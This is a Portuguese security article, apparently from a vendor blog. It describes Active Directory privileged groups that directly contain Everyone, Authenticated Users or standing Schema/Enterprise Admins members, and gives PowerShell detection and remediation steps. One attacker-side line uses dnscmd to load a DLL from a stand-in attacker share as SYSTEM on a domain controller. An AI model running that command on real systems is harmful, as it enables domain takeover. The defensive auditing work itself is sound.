Everyone, Authenticated Users, Grupos Privilegiados, Active Directory: Como Contas Integradas São Silenciosamente Sobre-associadas

Everyone, Authenticated Users, Grupos Privilegiados, Active Directory: O Que É a Sobre-associação

Everyone, Authenticated Users, grupos privilegiados, Active Directory — quatro elementos que se combinam em um risco Tier 0 no momento em que uma identidade especial aparece diretamente na lista de membros de um grupo, sem exigir nenhum caminho de ataque. A maior parte do conteúdo sobre escalonamento de privilégios no Active Directory foca em caminhos indiretos: aninhamento de grupos, abuso de ACL, cadeias de delegação. Este artigo cobre uma versão mais direta do mesmo problema: um grupo privilegiado no Active Directory — integrado ou Tier 0 — no qual Everyone, Authenticated Users ou uma conta Tier 0 que deveria ter sido removida meses atrás está diretamente na lista de membros, sem exigir aninhamento nem truque de ACL para encontrá-la. É um primo próximo do desvio de acesso privilegiado, mas sem o acúmulo em múltiplas etapas: a configuração incorreta fica visível em uma única lista de membros.

Concretamente, é isto que uma auditoria para a exposição active directory grupos privilegiados everyone authenticated users precisa verificar: quais grupos privilegiados locais de domínio contêm um membro de identidade especial e quais grupos Tier 0 permaneceram povoados desde o último uso legítimo.

Três padrões se encaixam nessa categoria:

• Identidades especiais adicionadas diretamente a um grupo privilegiado. As identidades especiais Everyone e Authenticated Users podem ser adicionadas como membros explícitos de um grupo local de domínio. Se esse grupo for privilegiado — Administrators, Account Operators, Backup Operators, Server Operators, Print Operators ou DnsAdmins — todo principal autenticado no domínio herda os direitos daquele grupo.
• Grupos Tier 0 que deveriam estar vazios, mas não estão. Schema Admins e Enterprise Admins existem para uso ocasional e deliberado (mudanças de esquema, administração entre domínios). A própria orientação de correção da Microsoft é manter Schema Admins vazio fora de uma mudança de esquema ativa e repovoá-lo apenas quando necessário (Microsoft Learn). Um membro permanente é uma credencial Tier 0 parada que ninguém está usando ativamente — pura superfície de ataque.
• Um grupo privilegiado que a maioria das equipes não observa: DnsAdmins. O Microsoft Defender for Identity possui uma avaliação de segurança dedicada para "permissões inseguras no grupo DnsAdmins", porque a associação concede controle sobre o serviço DNS Server em execução nos controladores de domínio (Microsoft Learn) — controle que uma técnica bem conhecida converte em SYSTEM em um DC.

Nada disso exige busca de caminhos ao estilo BloodHound. Isso aparece no momento em que alguém executa Get-ADGroupMember no grupo certo — exatamente por isso costuma sobreviver a auditorias construídas em torno de grafos de caminhos de ataque em vez de simples listas de membros.

Também tende a passar despercebido em revisões manuais porque não é resultado de uma única decisão dramática. Uma conta de Schema Admins é adicionada para uma instalação pontual de aplicativo, e a etapa de remoção é esquecida. Uma sessão de troubleshooting adiciona Authenticated Users "temporariamente" a DnsAdmins para desbloquear um chamado do helpdesk, e o chamado é fechado antes que a associação seja revertida. Cada etapa parece razoável isoladamente; o estado cumulativo é um domínio onde qualquer conta autenticada — inclusive um usuário de baixo privilégio vítima de phishing ou uma conta de serviço comprometida — já tem um caminho direto até um controlador de domínio.

Como Funciona

Everyone e Authenticated Users só podem entrar em grupos locais de domínio — mas isso inclui os que importam

Pelas regras de escopo de grupo do AD (o modelo clássico AGDLP), identidades especiais e foreign security principals só podem ser colocados em grupos de escopo local de domínio, não globais nem universais (Microsoft TechNet wiki, "Foreign Security Principals and Special Identities"; Microsoft Learn, "Understand Special Identities Groups"). Quando um administrador (ou uma GPO/script malconfigurado) adiciona Everyone ou Authenticated Users a um grupo desse tipo, o Active Directory cria um objeto ForeignSecurityPrincipal para esse SID conhecido em CN=ForeignSecurityPrincipals e o lista como membro.

Isso descarta adicionar Everyone diretamente ao grupo Domain Admins, de escopo global — as restrições de escopo de grupo do AD não permitem isso. Mas não descarta o grupo que realmente mais importa: o grupo integrado Administrators é local de domínio e, por padrão, já contém Domain Admins e Enterprise Admins aninhados dentro dele (Microsoft Learn, Apêndice G — Securing Administrators Groups in Active Directory). Adicione Everyone ou Authenticated Users a Administrators, e toda conta autenticada no domínio herda tudo o que Domain Admins herda por meio desse aninhamento — controle total de cada controlador de domínio. O mesmo escopo local de domínio cobre Account Operators, Backup Operators, Server Operators, Print Operators e DnsAdmins — todos alvos comuns dessa exata configuração incorreta.

🚨 Perigo: isso não é um caminho teórico — é uma lista de membros. Nenhuma ACL delegada, nenhum truque de Kerberos, nenhuma cadeia aninhada. Get-ADGroupMember no grupo errado mostra isso em uma única chamada.

A associação a DnsAdmins se converte em SYSTEM em um controlador de domínio

A associação a DnsAdmins é perigosa por si só, independentemente de truques com Everyone/Authenticated Users. Os membros podem definir o valor de registro ServerLevelPluginDll no serviço DNS Server via dnscmd.exe, apontando para uma DLL arbitrária; reiniciar o serviço DNS carrega essa DLL sob a conta SYSTEM do controlador de domínio. Isso foi publicado pela primeira vez por Shay Ber (Lab of a Penetration Tester, 2017) como "Abusing DNSAdmins privilege for escalation in Active Directory" e desde então foi documentado e reverificado repetidamente, inclusive por Sean Metcalf, da ADSecurity.org ("From DNSAdmins to Domain Admin"), e pela Semperis ("DnsAdmins Revisited") (Lab of a Penetration Tester; ADSecurity.org; Semperis).

# Primitiva do lado do atacante (membro de DnsAdmins, apenas para conhecimento de defensores)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

A Microsoft declarou que isso é um recurso documentado do protocolo de gerenciamento de DNS, e não uma vulnerabilidade, o que explica por que não é corrigido via patch — a correção é organizacional (mantenha DnsAdmins vazio ou estritamente restrito), não uma atualização de segurança (InfosecMatter / resumo do módulo Metasploit sobre a posição da MSRC).

Schema Admins e Enterprise Admins como credenciais Tier 0 permanentes

Schema Admins só precisa de membros durante uma extensão de esquema real (um novo aplicativo instalando atributos de esquema, uma mudança de nível funcional de floresta). O próprio conteúdo de correção da Microsoft para esse achado exato diz para remover todos os membros e adicioná-los de volta apenas quando uma mudança de esquema estiver em andamento (Microsoft Learn). Um Schema Admins permanentemente povoado (ou Enterprise Admins, com escopo semelhante para administração de toda a floresta) é uma credencial Tier 0 que fica sem uso entre mudanças — exatamente o tipo de conta que os atacantes procuram, porque ninguém percebe quando ela faz login, já que normalmente nunca faz.

Detecção

Tudo abaixo pode ser executado somente leitura, com uma conta de serviço sem direitos de escrita. Para o conjunto mais amplo de IDs de evento que valem a pena coletar em um ambiente AD, veja o guia de monitoramento dedicado — a tabela abaixo cobre apenas os eventos específicos dessa configuração incorreta.

# 1. Enumerar membros dos grupos privilegiados locais de domínio e sinalizar entradas ForeignSecurityPrincipal
#    (é assim que Everyone/Authenticated Users aparecem quando adicionados diretamente)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Resolver qual SID conhecido um ForeignSecurityPrincipal representa
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins devem estar vazios fora de uma janela de manutenção
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Correção

Essas correções fazem parte de um trabalho mais amplo de prioridades de hardening do Active Directory — a higiene de grupos privilegiados pertence perto do topo dessa lista, não como item de acompanhamento.

1. Remova qualquer associação de Everyone/Authenticated Users de grupos privilegiados locais de domínio. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") — verifique primeiro o objeto exato, este é um grupo Tier 0.
2. Esvazie Schema Admins e Enterprise Admins fora de janelas de manutenção. Documente um processo break-glass: adicionar a conta, executar a mudança, remover a conta e registrar a exceção (quem, por quê, quando).
3. Restrinja DnsAdmins de forma rígida e monitore-o como Domain Admins. Se ninguém consegue explicar por que uma determinada conta é membro, remova-a. Trate qualquer evento 4728/4732 nesse grupo como um alerta Tier 0, não como ruído rotineiro de TI.
4. Alerte em tempo real para 4728/4732/4756 em toda a lista de grupos Tier 0, não apenas Domain Admins/Enterprise Admins — inclua Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins e Schema Admins na mesma regra de alerta.
5. Exija um registro de aprovação para toda adição a grupo privilegiado — proprietário, justificativa e uma data de expiração. Uma associação sem motivo documentado já é o achado, independentemente de quem foi adicionado.

Como a EtcSec Detecta Isso

A auditoria de AD da EtcSec verifica sobre-associação direta nos grupos integrados e Tier 0 cobertos aqui: GROUP_EVERYONE_IN_PRIVILEGED e GROUP_AUTHENTICATED_USERS_PRIVILEGED sinalizam identidades especiais colocadas diretamente em um grupo privilegiado, SCHEMA_ADMINS_NOT_EMPTY sinaliza um grupo Schema/Enterprise Admins permanentemente povoado, DNS_ADMINS_MEMBER expõe cada membro de DnsAdmins para revisão, e PRIVILEGED_GROUP_MEMBER_CHANGES rastreia mudanças recentes de associação em grupos Tier 0 para que uma nova adição não passe despercebida entre auditorias.